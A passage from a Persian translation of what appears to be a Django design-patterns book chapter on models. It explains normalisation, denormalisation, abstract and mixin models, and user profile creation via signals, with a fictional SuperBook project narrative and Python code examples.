نگهداری می‌شود. توصیه می‌کنم از ضرب المثل زیر در مورد نحوه تعادل کد و داده استفاده کنید:  \n\n\n> **قانون بازنمایی** (Rule of Representation): دانش را در دیتا قرار بدهید تا منطق برنامه قدرتمند و احمق باشد.  \n\n\nفکر کنید که چطور می‌توانید پیچیدگی را از کد به دیتا ببرید. همیشه فهمیدن منطق کد از فهمیدن منطق دیتا سخت‌تر است. یونیکس از همین فلسفه به خوبی استفاده کرده است تا تعداد زیادی ابزار ساده ایجاد شود که می‌توانند با هم ترکیب (پایپ) شوند و هر گونه تغییر روی دیتاهای متنی را انجام دهند.\n\nدر نهایت، داده‌ها طول عمر بیشتری نسبت به کد دارند. شرکت‌ها ممکن است تصمیم بگیرند کل پایگاه‌های کد را بازنویسی کنند زیرا دیگر نیازهای آن‌ها را برآورده نمی‌کنند، اما پایگاه‌های داده معمولاً نگهداری می‌شوند و حتی در بین برنامه‌ها به اشتراک گذاشته می‌شوند.\n\nپایگاه‌های داده‌ای که به خوبی طراحی شده اند بیشتر یک هنر هستند تا یک علم. این فصل برخی از اصول اساسی مانند نرمال سازی(Normalization) و بهترین شیوه‌ها در مورد سازماندهی داده‌ها را به شما ارائه می‌دهد. اما قبل از آن، بیایید ببینیم مدل‌های داده در برنامه جنگو کجا قرار می‌گیرند.\n\n# ام بزرگ تر از وی و سی بزرگ تر از وی است\n\nدر جنگو، مدل‌ها کلاس‌هایی هستند که روشی شیءگرا برای برخورد با پایگاه‌های داده ارائه می‌کنند. به طور معمول، هر کلاس به یک جدول پایگاه داده و هر ویژگی به یک ستون پایگاه داده اشاره دارد. می‌توانید با استفاده از یک API که به طور خودکار تولید می‌شود، کوئری‌هایی را در این جداول ایجاد کنید.\n\nمدل‌ها می‌توانند پایه بسیاری از اجزای دیگر باشند. هنگامی که یک مدل دارید، می‌توانید به سرعت ادمین‌های مدل، فرم‌های مدل و انواع نماهای عمومی‌را استخراج کنید. در هر مورد، باید یک یا دو خط کد بنویسید تا خیلی هم جادویی به نظر نرسد.\n\nهمچنین، مدل‌ها در مکان‌های بیشتری از آنچه انتظار دارید، استفاده می‌شوند. این به این دلیل است که جنگو را می‌توان به روش‌های مختلفی اجرا کرد. برخی از نقاط ورود جنگو به شرح زیر است:\n\n\n- جریان آشتای درخواست-پاسخ وب\n- شل اینترکتیو جنگو\n- دستورات مدیریتی (management commands)\n- اسکریپت‌های تست\n- صف‌های وظایف ناهمزمان همانند سلری\n\nتقریباً در همه این موارد، ماژول‌های مدل وارد می‌شوند (به عنوان بخشی از **django.setup()**). از این رو، بهتر است مدل‌های خود را از هر گونه وابستگی غیر ضروری یا هر جزء دیگر جنگو، مانند view‌ها دور نگه دارید.\n\nبه طور خلاصه، طراحی درست مدل‌های شما، بسیار مهم است. حالا بیایید با طراحی مدل SuperBook شروع کنیم.\n\n####  کیف قهوه‌ای نهار:\n\n    یادداشت نویسنده: پیشروی این پروژه سوپرکتاب در یک بخش مثل این نمایش داده خواهد شد. شاید شما از جعبه عبور کنید, ولی بینش‌ها و تجربه‌های زیاد و درامای کار کردن روی یک پروژه وب اپلیکیشن را از دست می‌دهید.\n\n    هفته اول استیو با مشتریش، هوش ابرقهرمانی و مانیتورینگ (شیم) به صورت کوتاه، خیلی قاطی پاتی بود. دفتر فوق‌العاده آینده‌نگر بود، اما انجام هر کاری به صدها تائید و امضا نیاز داشت.\n\n\n    استیو به عنوان توسعه‌دهنده اصلی جنگو، راه‌اندازی یک سرور توسعه متوسط را که میزبان چهار ماشین مجازی بود بعد از دو روز به پایان رسانده بود. صبح روز بعد، خود دستگاه ناپدید شده بود. یک ربات به اندازه ماشین لباسشویی در همان نزدیکی گفت که به دلیل نصب نرم افزار تایید نشده به بخش پزشکی قانونی منتقل شده است.\n\n    با این حال، مدیر ارشد فناوری، هارت، کمک بزرگی بود. او درخواست کرد دستگاه تا یک ساعت دیگر با تمام سیستم‌های نصب‌شده سالم برگردانده شود. او همچنین پیش تأییدیه‌هایی را برای پروژه سوپربوک ارسال کرده بود تا از چنین موانعی در آینده جلوگیری کند.\n\n    بعد از ظهر همان روز، استیو یک کیف قهوه‌ای ناهار همراهش بود. یک کت بلیزر بژ و شلوار جین آبی روشن پوشیده بود. هارت به موقع رسید. علیرغم اینکه از بیشتر مردم بلندتر بود و سرش تراشیده بود، خونسرد و خوش برخورد به نظر می‌رسید. او پرسید که آیا استیو تلاش قبلی برای ساخت پایگاه داده ابرقهرمانی در دهه شصت را بررسی کرده است؟\n\n\n    استیو گفت: \"اوه بله، پروژه Sentinel، درست است؟\". \"به نظر می‌رسد پایگاه داده به عنوان یک مدل *Entity-Attribute-Value* طراحی شده است، چیزی که من آن را یک ضد الگو می‌دانم. شاید آن‌ها در آن روزها تصور بسیار کمی در مورد ویژگی‌های یک ابرقهرمان داشتند\".\n\n    هارت در زمان شنیدن آخرین جمله تقریباً خم شد. با صدای کمی آهسته تر گفت: \"درست می‌گویی. من چنین تصوری ندارم. علاوه بر این، آن‌ها فقط دو روز به من فرصت دادند تا همه چیز را طراحی کنم. من معتقدم به معنای واقعی کلمه یک بمب هسته‌ای در جایی تیک تاک می‌کند.\"\n\n    دهان استیو کاملاً باز بود و ساندویچش در ورودی آن یخ زده بود. هارت لبخند زد. \"مطمئنا بهترین کار من نیست. زمانی که از حدود یک میلیارد ورودی عبور کرد، روزها طول می‌کشد تا هر نوع تحلیلی را روی آن پایگاه داده لعنتی اجرا کنیم.\n    سوپر بوک در عرض چند ثانیه آن را انجام می‌دهد، درست است؟\"\n\n    استیو به آرامی سر تکان داد. او هرگز تصور نمی‌کرد که در وهله اول حدود یک میلیارد ابرقهرمان وجود داشته باشد.\n\n### شکار مدل‌ها \n\nدر اینجا اولین برش از شناسایی مدل‌ها در سوپربوک است. به عنوان نمونه برای یک تلاش اولیه، ما فقط مدل‌های اساسی و روابط آن‌ها را در قالب یک نمودار ساده کلاس‌ها نشان داده‌ایم:\n\n![./images/1.png](./images/1.png)\n\nبیایید یک لحظه مدل‌ها را فراموش کنیم و در مورد اشیایی که مدل سازی می‌کنیم صحبت کنیم. هر کاربر یک پروفایل دارد. یک کاربر می‌تواند چندین نظر یا چندین پست بگذارد. یک لایک می‌تواند مربوط به یک ترکیب کاربر/پست باشد.\n\nتوصیه می‌شود نموداری کلاسی مانند این از مدل‌های خود ترسیم کنید. ممکن است در این مرحله ویژگی‌های کلاس وجود نداشته باشد، اما می‌توانید بعداً آن‌ها را توضیح دهید. هنگامی که کل پروژه در نمودار نشان داده می‌شود، جداسازی برنامه‌ها آسان تر می‌شود.\n\nاینجا چند نکته وجود دارد تا این بازنمایی را انجام بدهیم:\n\n* اسم‌ها معمولاً تبدیل به هویت مدل‌ها می‌شود.\n* مستطیل‌ها که هر موجودیت را نشان می‌دهند به مدل‌ها تبدیل می‌شوند.\n* خط‌های متصل کننده که دو جهتی هستند و سه نوع از روابط را در جنگو تعریف میکنند:\n  یک-به-یک , یک-به-خیلی (با کلید خارجی یا Foreign Keys پیاده سازی می‌شوند) و خیلی-به-خیلی\n* بخشی که رابطه یک-به-خیلی را تعریف می‌کند در سمت  **Entity-relationship model (ER-model)** قرار دارد. به عبارتی دیگر، طرف n جایی هست که کلید خارجی تعریف می‌شود.\n\nنمودار کلاس‌ها می‌توانند به کدهای جنگو مانند زیر ارتباط داده شوند. (که بین چندین اپ، پخش خواهند شد): \n\n```\nclass Profile(models.Model):\n    user = models.OneToOneField(User)\n\nclass Post(models.Model):\n    posted_by = models.ForeignKey(User)\n\nclass Comment(models.Model):\n    commented_by = models.ForeignKey(User)\n    for_post = models.ForeignKey(Post)\n\nclass Like(models.Model):\n    liked_by = models.ForeignKey(User)\n    post = models.ForeignKey(Post)\n\n```\n\nبعداً مستقیماً به **User** ارجاع نخواهیم داد، بلکه از **settings.AUTH_USER_MODEL** استفاده می‌کنیم. همچنین در این مرحله نگران ویژگی‌های فیلد مانند **on_delete** یا **primary_key** نیستیم. به زودی به این جزئیات خواهیم پرداخت.\n\n# تقسیم کردن فایل models.py به چندین فایل\n\nمانند بسیاری از اجزای جنگو، یک فایل models.py بزرگ را می‌توان به چندین فایل در یک پکیج تقسیم کرد. یک پکیج به صورت دایرکتوری پیاده سازی می‌شود که می‌تواند حاوی چندین فایل باشد یکی از آن‌ها باید فایلی با نام خاص به نام `__init__.py` باشد. این فایل می‌تواند خالی باشد، اما باید وجود داشته باشد.\n\nهمه تعاریفی که باید در سطح پکیج نمایش داده شوند باید در `__init__.py` به صورت عمومی (global scope) تعریف شوند. به عنوان مثال، اگر models.py را به کلاس‌های جداگانه تقسیم کنیم، در فایل‌های مربوطه در داخل زیرشاخه مدل‌ها مانند postable.py، post.py، و comment.py، ساختار دایرکتوری به شکل زیر خواهد بود:\n\nmodels/\n\n- comment.py\n- ــinitــ.py\n- postable.py\n- post.py\n\nبرای اطمینان از اینکه همه مدل‌ها به درستی فراخوانی شده اند فایل ، `__init__.py` باید خطوط زیر را داشته باشد:\n\n```\nfrom postable import Postable\nfrom post import Post\nfrom comment import Comment\n\n```\n\nاکنون می‌توانید models.Post را مانند قبل فراخوانی کنید. هر کد دیگری که در فایل `__init__.py`  باشد هنگام فراخوانی پکیج، اجرا می‌شود. بنابراین، این فایل، محل ایده‌آلی برای تعریف مقادیر اولیه در سطح پکیج است.\n\n# الگوهای ساختاری\n\nاین بخش شامل چندین الگوی طراحی است که می‌تواند به شما در طراحی و ساختار مدل‌های خود کمک کند. الگوهای ساختاری ذکر شده در اینجا به شما کمک می‌کند تا روابط بین مدل‌ها را به طور موثرتری درک کنید.\n\n## الگو‌ها — مدل‌های نرمال شده\n\n **مشکل:** به صورت ساختاری, هر کپی از مدل‌ها، شامل داده‌های تکراری هستند که باعث ناسازگاری داده‌ها می‌شود \n\n **راه حل** مدل‌های خود را از طریق نرمال سازی به مدل‌های کوچکتر تقسیم کنید. این مدل‌ها را با روابط منطقی به هم وصل کنید.\n\n## جزییات مشکل\n\nتصور کنید کسی جدول پست ما را (با حذف ستون‌های خاص) به روش زیر طراحی کند:\n\n![./images/2.png](./images/2.png)\n\nامیدوارم که به اسم‌های ابرقهرمان‌ها که به صورت ناسازگار در ستون اول( و کاپیتان تمپری که صبر ندارد) آمده توجه کرده‌باشید.\n\nاگه به اولین ستون نگاه کنیم, ما مطمئن نیستیم که کدام روش هجی کردن درست است، **Captain Temper** یا **Capt. Temper**. این نوعی از افزونگی داده است که ما دوست داریم توسط نرمال سازی دیتا از بین ببریم.  \n\n## جزییات راه حل\n\nقبل از اینکه نگاهی به راه حل کاملا نرمال شده بیندازیم، اجازه دهید یک توضیح مختصر در مورد نرمال سازی پایگاه داده در زمینه مدل‌های جنگو داشته باشیم.\n\n### سه قدم در نرمال سازی\n\nعادی سازی به شما کمک می‌کند تا داده‌ها را به طور موثر ذخیره کنید. هنگامی که مدل‌های شما به طور کامل نرمال‌سازی شدند، داده‌های اضافی نخواهند داشت و هر مدل باید حاوی داده‌هایی باشد که فقط از نظر منطقی به آن مرتبط هستند.\n\nبرای ارائه یک مثال سریع، اگر می‌خواهیم جدول پست را عادی کنیم تا بتوانیم بدون ابهام به ابرقهرمانی که آن پیام را ارسال کرده است اشاره کنیم، باید جزئیات کاربر را در یک جدول جداگانه جدا کنیم. جنگو قبلاً جدول کاربر را به طور پیش فرض ایجاد می‌کند. بنابراین، همانطور که در جدول زیر نشان داده شده است، فقط باید به شناسه کاربری که پیام را در ستون اول ارسال کرده است مراجعه کنید:\n\n![./images/3.png](./images/3.png)\n\nاکنون نه تنها مشخص است که سه پیام توسط یک کاربر ارسال شده است (با یک شناسه کاربری دلخواه)، بلکه می‌توانیم با جستجوی جدول کاربر نام صحیح آن کاربر را نیز پیدا کنیم.\n\nبه طور کلی، شما مدل‌های خود را به گونه‌ای طراحی می‌کنید که کاملاً نرمال شده باشند و سپس به دلیل بهبود عملکرد، به طور انتخابی برخی از آن‌ها را از حالت نرمال خارج می‌کنید (برای اطلاع از علت آن، به بخش بعدی در مورد عملکرد مراجعه کنید). در پایگاه‌های داده، **فرم‌های نرمال** مجموعه‌ای از دستورالعمل‌ها هستند که می‌توان آن‌ها را برای اطمینان از نرمال‌سازی جدول به کار برد. فرم‌های معمولی که معمولاً یافت می‌شوند، فرم‌های نرمال نوع اول،نوع دوم و نوع سوم هستند، اگرچه می‌توانند تا پنج مرحله هم، نرمال بشوند.\n\nدر مثال بعدی,ما یک جدول را نرمال سازی می‌کنیم و مدل‌های جنگو متناظر را میسازیم. صفحه گسترده‌ای به نام Sightings را تصور کنید که اولین باری که فردی یک ابرقهرمان را با استفاده از قدرت یا توانایی مافوق بشری می‌بیند، وی را در این صفحه، فهرست می‌کند. هر ورودی در این صفحه گسترده، به منشاء ابرقهرمان، نوع قدرت وی و محل اولین مشاهده که شامل از جمله طول و عرض جغرافیایی است، اشاره می‌کند:\n\n![./images/4.png](./images/4.png)\n\nدیتای جغرافیای زیر از [http://www.golombek.com/locations.html](http://www.golombek.com/locations.html)  به دست آمده است. \n\n## فرم نرمال نوع اول (1NF)\n\n- هیچ خصوصیتی(سلول) با داده تکراری وجود نداشته باشد\n- یک کلید اصلی(پرایمری) به صورت یک ستون یا چندین ستونی(کامپوزیت کی) تعریف شود.\n\n بیایید سعی کنیم صفحه گسترده خود را به یک جدول پایگاه داده تبدیل کنیم. بدیهی است که ستون **Power** ما قانون اول را زیر پا می‌گذارد.\n\nجدول به روز شده در اینجا اولین فرم نرمال بودن را برآورده می‌کند. کلید اصلی (با علامت *) ترکیبی از **Name** و **Power** است که باید برای هر ردیف منحصر به فرد باشد:\n\n![./images/5.png](./images/5.png)\n\n![./images/5-2.png](./images/5-2.png)\n\n## فرم نرمال نوع دوم (2NF)\n\nفرم نرمال نوع دوم باید تمام شرایط فرم نرمال اول را برآورده کند. علاوه بر این، باید این شرط را برآورده کند که تمام ستون‌های کلید غیر اصلی، باید به کل کلید اصلی وابسته باشند.\n\nدر جدول قبلی توجه کنید که Origin فقط به ابرقهرمان یعنی Name بستگی دارد. مهم نیست در مورد کدام Power صحبت می‌کنیم. بنابراین، Origin کاملاً به کلید اولیه ترکیبی - Name و Power وابسته نیست.\n\nبیایید فقط اطلاعات مبدا را در یک جدول جداگانه به نام Origin استخراج کنیم، همانطور که در اینجا نشان داده شده است: \n\n![./images/6.png](./images/6.png)\n\nحالا جدول Sightings را طوری تغییر می‌دهیم که با  فرم نرمال نوع دوم هم تطابق داشته باشد.\n\n![./images/7.png](./images/7.png)\n\n## فرم نرمال نوع سوم (3NF)\n\nدر فرم نرمال نوع سوم، جداول باید فرم نرمال نوع دوم را برآورده کنند و علاوه بر این باید شرایطی را داشته باشند که تمام ستون‌های کلید غیراصولی باید مستقیماً به کل کلید اصلی وابسته باشند و در ضمن باید مستقل از یکدیگر باشند.\n\nبرای لحظه‌ای به ستون **Country** فکر کنید. با توجه به **Longitude** و **Latitude**، می‌توانید به راحتی ستون **Country** را استخراج کنید. حتی اگر کشوری که در آن یک ابرقدرت دیده شده است به کلید اولیه ترکیبی Name-Power وابسته است، اما فقط به طور غیرمستقیم به آن‌ها وابسته است.\n\nبنابراین، اجازه دهید جزئیات مکان را  در جدول  جداگانه کشورها به صورت زیر، جدا کنیم:\n\n![./images/8.png](./images/8.png)\n\nحالا جدول Sightings ما در سومین نوع نرمال سازی قرار دارد:\n\n![./images/9.png](./images/9.png)\n\n مانند قبل، نام ابرقهرمان را با User ID مربوطه جایگزین کرده ایم که می‌تواند برای ارجاع به جدول کاربر استفاده شود.\n\n# مدل‌های جنگو \n\nحالا می‌توانیم نگاه کنیم که این حدول‌های نرمال سازی شده چطور می‌توانند به صورت مدل‌های جنگو نمایش داده بشوند. کلیدهای ترکیبی یا کامپوزیت کی‌ها به صورت مستقیم در جنگو پشتیبانی نمی‌شوند.راه حل استفاده شده در اینجا اعمال کلیدهای جایگزین و مشخص کردن ویژگی *unique_together* در کلاس *Meta* است:\n\n```python\nclass Origin(models.Model):\n    superhero = models.ForeignKey(\n    settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n    origin = models.CharField(max_length=100)\n\n    def __str__(self):\n        return \"{}'s orgin: {}\".format(self.superhero, self.origin)\n\nclass Location(models.Model):\n    latitude = models.FloatField()\n    longitude = models.FloatField()\n    country = models.CharField(max_length=100)\n\n    def __str__(self):\n        return \"{}: ({}, {})\".format(\n            self.country,\n            self.latitude,\n            self.longitude\n            )\n\n    class Meta:\n        unique_together = (\"latitude\", \"longitude\")\n\nclass Sighting(models.Model):\n    superhero = models.ForeignKey(\n    settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n    power = models.CharField(max_length=100)\n    location = models.ForeignKey(Location, on_delete=models.CASCADE)\n    sighted_on = models.DateTimeField()\n\n    def __str__(self):\n        return \"{}'s power {} sighted at: {} on {}\".format(\n        self.superhero,\n        self.power,\n        self.location.country,\n        self.sighted_on\n        )\n\n    class Meta:\n        unique_together = (\"superhero\", \"power\")\n\n```\n\n#  کارایی و نرمال سازی نکردن (denormalization)\n\nنرمال سازی می‌تواند بر کارایی، تأثیر منفی بگذارد. با افزایش تعداد مدل‌ها، تعداد پیوست‌های مورد نیاز برای پاسخ به یک کوئری نیز افزایش می‌یابد. به عنوان مثال، برای یافتن تعداد ابرقهرمانان با قابلیت Freeze در ایالات متحده، باید به چهار جدول درخواست ارسال شود. قبل از نرمال سازی، می‌توانستیم همه اطلاعات را با کوئری فرستادن به یک جدول، به دست بیاوریم.\n\nشما باید مدل‌های خود را طوری طراحی کنید که داده‌ها نرمال نگه داشته شوند. این کار، یکپارچگی داده‌ها را حفظ می‌کند. با این حال، اگر سایت شما با مشکلات مقیاس پذیری مواجه است، می‌توانید به طور انتخابی داده‌ها را از آن مدل‌ها استخراج کنید تا داده‌های دی‌نرمال ایجاد کنید.\n\n##### بهترین الگوها\n\n*در حال طراحی نرمال‌سازی کنید, ولی برای بهینه سازی دی نرمالایز کنید*\n\nبه عنوان مثال، اگر تعداد مشاهدات در یک کشور خاص بسیار زیاد است، آن را به عنوان یک فیلد اضافی به مدل *Location* اضافه کنید. اکنون، می‌توانید کوئری‌های دیگر را با استفاده از  **object-relational mapping (ORM)**،  در جنگو، بر خلاف مقدار ذخیره شده، اضافه کنید.\n\nبا این حال، هر بار که یک مشاهده را اضافه یا حذف می‌کنید، باید این تعداد را به روز کنید. شما یا باید این محاسبه تعداد را به متد *save* در مدل Sighting اضافه کنید یا یک سیگنال اضافه کنید یا با استفاده از یک روش انجام کار ناهمزمان، محاسبات را انجام دهید.  \n\nاگر کوئری پیچیده‌ای دارید که چندین جدول را در بر می‌گیرد، مانند تعداد ابرقدرت‌ها بر اساس کشور، ایجاد یک جدول دی‌نرمال شده جداگانه ممکن است عملکرد را بهبود بخشد.\nبه طور معمول، این جدول در یک پایگاه داده دررون-حافظه یا کش سریعتر، اجرا می‌شود. مانند قبل، هر بار که داده‌های مدل‌های نرمال‌شده شما تغییر می‌کند، باید این جدول دی‌نرمال شده را به‌روزرسانی کنیم (در غیر این صورت با مشکل دوست‌نداشتنی  Cache-Invalidation مواجه خواهید شد).\n\nدی‌نرمال کردن به‌طور شگفت‌انگیزی در وب‌سایت‌های بزرگ متداول است، زیرا تعادلی بین سرعت و فضا است. امروزه فضا ارزان است، اما سرعت برای تجربه کاربر بسیار مهم است. بنابراین، اگر پاسخ کوئری شما بیش از حد طول می‌کشد، ممکن است بخواهید آن را در نظر بگیرید.\n\n# آیا همیشه باید نرمال‌سازی کنیم؟\n\nنرمال‌سازی بیش از حد لزوماً چیز خوبی نیست. گاهی اوقات، می‌تواند باعث به وجود آمدن جداول غیر ضروری شود که به روز رسانی‌ها و جستجوها را پیچیده کند.\n\nبه عنوان مثال، مدل کاربری شما ممکن است چندین فیلد برای آدرس خانه آن‌ها داشته باشد. به طور دقیق، می‌توانید این فیلدها را به یک مدل آدرس نرمال کنید. با این حال، در بسیاری از موارد، معرفی یک جدول اضافی به پایگاه داده غیر ضروری خواهد بود.\n\nبه‌جای هدف نرمال‌سازی‌شده‌ترین طرح، هر فرصتی را برای نرمال‌سازی با دقت بسنجید و قبل از ایجاد آن، فواید و مضراتش را در نظر بگیرید.\n\n# الگو — مدل‌های میکسین\n\n**مشکل:** مدل‌های متمایز دارای فیلدها و/یا روش‌های مشابه هستند که اصل DRY را نقض می‌کنند.\n\n**راه حل:** زمینه‌ها و روش‌های مشابه و تکراری را به مدل‌های میکسین‌ قابل استفاده مجدد، تقسیم کنید.\n\n#### جزییات مشکل\n\nهنگام طراحی مدل‌ها، ممکن است ویژگی‌ها یا رفتارهای مشترک مشخصی را پیدا کنید که در کلاس‌های مدل به اشتراک گذاشته شده است. به عنوان مثال، یک مدل پست و نظر باید تاریخ ایجاد و تاریخ اصلاح آن را پیگیری کند. کپی و چسباندن دستی فیلدها و روش مرتبط با آن‌ها یک رویکرد بسیار DRY نیست.\n\nاز آنجایی که مدل‌های جنگو کلاس هستند، رویکردهای شی گرا مانند ترکیب و ارث راه حل‌های ممکن هستند. با این حال، ترکیبات (با داشتن یک ویژگی که حاوی نمونه‌ای از کلاس مشترک است) برای دسترسی به فیلدها به یک سطح غیرمستقیم اضافی نیاز دارند.\n\nارث می‌تواند مشکل ساز شود. ما می‌توانیم از یک کلاس پایه مشترک برای پست و نظرات استفاده کنیم.\nبا این حال، سه نوع ارث در جنگو وجود دارد: عینی concrete، انتزاعی abstract و پروکسی proxy.\n\n**وراثت عینی** با ارث بری از کلاس پایه درست مانند آنچه که معمولاً در کلاس‌های پایتون انجام می‌دهید کار می‌کند. با این حال، در جنگو، این کلاس پایه در یک جدول جداگانه ثبت می‌شود.\nهر بار که به فیلدهای پایه دسترسی پیدا می‌کنید، به یک عملیات join نیاز است. این اتفاق منجر به افت شدید کارایی می‌شود.\n\n**وراثت پراکسی** فقط می‌تواند رفتار جدیدی را به کلاس والد اضافه کند. شما نمی توانید فیلدهای جدید اضافه کنید. از این رو برای این وضعیت چندان مفید نیست.\nدر نهایت، ما با وراثت Abstract باقی می‌مانیم.\n\n#### جزییات راه‌ حل\n\nوراثت انتزاعی یک راه حل ظریف است که از کلاس‌های پایه Abstract ویژه برای به اشتراک گذاشتن داده‌ها و رفتار بین مدل‌ها استفاده می‌کند. وقتی یک کلاس پایه انتزاعی را در جنگو تعریف می‌کنید، که با کلاس‌های پایه انتزاعی (ABC) در پایتون یکسان نیست، هیچ جدول مربوطه در پایگاه داده ایجاد نمی کند. در عوض، این فیلدها در کلاس‌های غیر انتزاعی مشتق شده ایجاد می‌شوند.\n\nدسترسی به فیلدهای کلاس پایه انتزاعی نیازی به دستور *JOIN* ندارد. جداول به دست آمده نیز دارای فیلدهای مدیریت شده هستند. با توجه به این مزایا، اکثر پروژه‌های جنگو از کلاس‌های پایه انتزاعی برای پیاده سازی فیلدها یا روش‌های مشابه و تکراری استفاده می‌کنند.\n\nمحدودیت‌های مدل‌های انتزاعی به شرح زیر است:\n\n- نمی توانند کلید خارجی یا فیلد چند به چند از مدل دیگری داشته باشند\n-  از آن‌ها نمی توان نمونه (instance) تهیه کرد یا آن‌ها را ذخیره کرد\n- آن‌ها را نمی توان مستقیماً در کوئری استفاده کرد زیرا مدیری (class manager) ندارند\n\nدر اینجا نحوه طراحی کلاس‌های پست و نظرات، در ابتدا با یک کلاس پایه انتزاعی، آمده است:\n\n```\nclass Postable(models.Model):\n    created = models.DateTimeField(auto_now_add=True)\n    modified = models.DateTimeField(auto_now=True)\n    message = models.TextField(max_length=500)\n\n    class Meta:\n        abstract = True\n\nclass Post(Postable):\n    ...\n\nclass Comment(Postable):\n    ...\n\n```\n\nبرای تبدیل یک مدل به یک کلاس پایه انتزاعی، باید *abstract = True* را در کلاس *Meta* در داخل مدل اضافه کنید. در اینجا، *Postable* یک کلاس پایه انتزاعی است. با این حال، خیلی قابل استفاده مجدد نیست.\n\nدر واقع، اگر کلاسی وجود داشته باشد که فقط فیلد *created* و *modified* را داشته باشد، می‌توانیم تقریباً در هر مدلی که به مهر زمانی نیاز دارد، از آن عملکرد مهر زمانی مجدداً استفاده کنیم. در چنین مواردی، ما معمولا یک مدل میکسین را تعریف می‌کنیم.\n\n##### میکسین‌های مدل\n\nمیکسین‌های مدل، کلاس‌های انتزاعی هستند که می‌توانند به عنوان کلاس والد یک مدل اضافه شوند. پایتون بر خلاف زبان‌های دیگر مانند جاوا از چندین وراثت پشتیبانی می‌کند. از این رو، می‌توانید هر تعداد کلاس والد را برای یک مدل فهرست کنید.\n\nمیکسین‌ها باید بسیار واضح باشند و به راحتی ترکیب شوند. اگر یک میکسین را به صورت کلاس‌های پایه تعریف کنید باید به درستی کار کند. از این نظر رفتار آن‌ها بیشتر به ترکیب شبیه است تا وراثت.\n\nمیکسین‌های کوچکتر بهتر هستند. هر زمان که یک میکسین بزرگ شد و اصل مسئولیت واحد را نقض کرد، آن را در کلاس‌های کوچک‌تر تقسیم کنید. اجازه دهید یک میکسین یک کار را انجام دهد و آن را به خوبی انجام دهد.\n\nدر مثال قبلی، مدل میکسین مورد استفاده برای به‌روزرسانی زمان *created* و *modified* را می‌توان به راحتی فاکتور گرفت، همانطور که در کد زیر نشان داده شده است:\n\n```\nclass TimeStampedModel(models.Model):\n    created = models.DateTimeField(auto_now_add=True)\n    modified = models.DateTimeField(auto_now =True)\n\n    class Meta:\n        abstract = True\n\nclass Postable(TimeStampedModel):\n    message = models.TextField(max_length=500)\n    ...\n\n    class Meta:\n        abstract = True\n\nclass Post(Postable):\n    ...\n\nclass Comment(Postable):\n    ...\n\n```\n\nما الان دو کلاس پایه داریم. با این حال، عملکردها به وضوح از هم جدا شده است. میکسین را می‌توان به عنوان یک ماژول جدا تعریف کرد و در اپ‌های دیگر دوباره استفاده کرد.\n\n# الگو — پروفایل‌های کاربر\n\n**مشکل:** هر وب سایت مجموعه متفاوتی از جزئیات را در پروفایل کاربر ذخیره می‌کند. با این حال، مدل پیش‌ساخته کاربر در جنگو، برای جزئیات احراز هویت در نظر گرفته شده است.\n\n**راه حل:** یک کلاس پروفایل کاربری با یک رابطه یک به یک با مدل کاربر ایجاد کنید.\n\n#### جزییات مشکل\n\nجنگو، یک مدل  بسیار مناسب برای تعریف کردن کاربر، ارائه می‌دهد. شما می‌توانید از آن در هنگام ایجاد یک کاربر super user یا ورود به رابط کاربری استفاده کنید. دارای چند فیلد اساسی مانند نام کامل، نام کاربری و ایمیل است.\n\nبا این حال، اکثر پروژه‌های دنیای واقعی، اطلاعات بسیار بیشتری را در مورد کاربران، مانند آدرس، فیلم‌های مورد علاقه یا توانایی‌های ابرقدرت آن‌ها نگه می‌دارند. از جنگو 1.5 به بعد، مدل کاربر پیش فرض را می‌توان گسترش داد یا جایگزین کرد. با این حال، اسناد رسمی اکیداً توصیه می‌کنند که فقط داده‌های احراز هویت را حتی در یک مدل کاربر سفارشی ذخیره کنید (این بخش مربوط به اپلیکیشن `auth` است).\n\nپروژه‌های خاص به چندین نوع کاربر نیاز دارند. به عنوان مثال، سوپربوک می‌تواند توسط ابرقهرمانان و غیر ابرقهرمانان استفاده شود. ممکن است فیلدهای مشترک و برخی فیلدهای متمایز بر اساس نوع کاربر وجود داشته باشد.\n\n#### جزییات راه‌ حل\n\nراه حل رسمی توصیه شده، ایجاد یک مدل پروفایل کاربر است. این مدل باید با مدل کاربری شما رابطه یک به یک داشته باشد. تمام اطلاعات اضافی کاربر در این مدل ذخیره می‌شود:\n\n```\nclass Profile(models.Model):\n    user = models.OneToOneField(\n        settings.AUTH_USER_MODEL,\n        on_delete=models.CASCADE,\n        primary_key=True\n        )\n\n```\n\nتوصیه می‌شود برای جلوگیری از مشکلات همزمانی در برخی از پایگاه‌های پشتیبان مانند PostgreSQL، مقدار  `primary_key` را به طور واضح روی `True` تنظیم کنید. بقیه مدل می‌تواند شامل هر گونه جزئیات دیگر کاربر مانند تاریخ تولد، رنگ مورد علاقه و غیره باشد.\n\nهنگام طراحی مدل پروفایل، توصیه می‌شود که تمام فیلدهای جزئیات پروفایل باید *nullable* یا *حاوی مقادیر پیش فرض* باشند. به طور شهودی، ما می‌توانیم درک کنیم که یک کاربر نمی تواند هنگام ثبت نام، تمام جزئیات نمایه خود را پر کند. علاوه بر این، ما اطمینان حاصل می‌کنیم که کنترل کننده سیگنال در هنگام ایجاد نمونه پروفایل، هیچ پارامتر اولیه‌ای را پاس نمی کند.\n\n###### سیگنال‌ها\n\nدر حالت ایده آل، هر بار که یک نمونه مدل کاربر ایجاد می‌شود، یک نمونه پروفایل کاربر مربوطه نیز باید ایجاد شود. این‌کار معمولاً با استفاده از سیگنال انجام می‌شود.\n\nبرای مثال، می‌توانیم سیگنال `post_save` را از مدل کاربر، با استفاده از کنترل‌کننده سیگنال زیر در `profiles/signals.py` گوش کنیم:\n\n```\nfrom django.db.models.signals import post_save\nfrom django.dispatch import receiver\nfrom django.conf import settings\nfrom . import models\n\n@receiver(post_save, sender=settings.AUTH_USER_MODEL)\ndef create_profile_handler(sender, instance, created, **kwargs):\n    if not created:\n        return\n    # Create the profile object, only if it is newly created\n    profile = models.Profile(user=instance)\n    profile.save()\n\n```\n\nمدل `Profile` هیچ پارامتر اولیه اضافی به جز `user=instance` را ارسال نکرده است.\n\nقبلاً مکان خاصی برای مقداردهی اولیه کد سیگنال وجود نداشت. به طور معمول، آن‌ها در `models.py` فراخوانی یا پیاده سازی می‌شدند (که قابل اعتماد نبود). با این حال، با ویژگی `app-loading refactor` در جنگو 1.7، مکان کدهای اولیه در برنامه به خوبی تعریف شده است.\n\nابتدا، متد `ProfileConfig` را در فایل `apps.py` در اپ پروفایل تغییر دهید و درون متد `ready`، سیگنال را تعریف کنید:\n\n```\n# apps.py\nfrom django.apps import AppConfig\n\nclass ProfilesConfig(AppConfig):\n    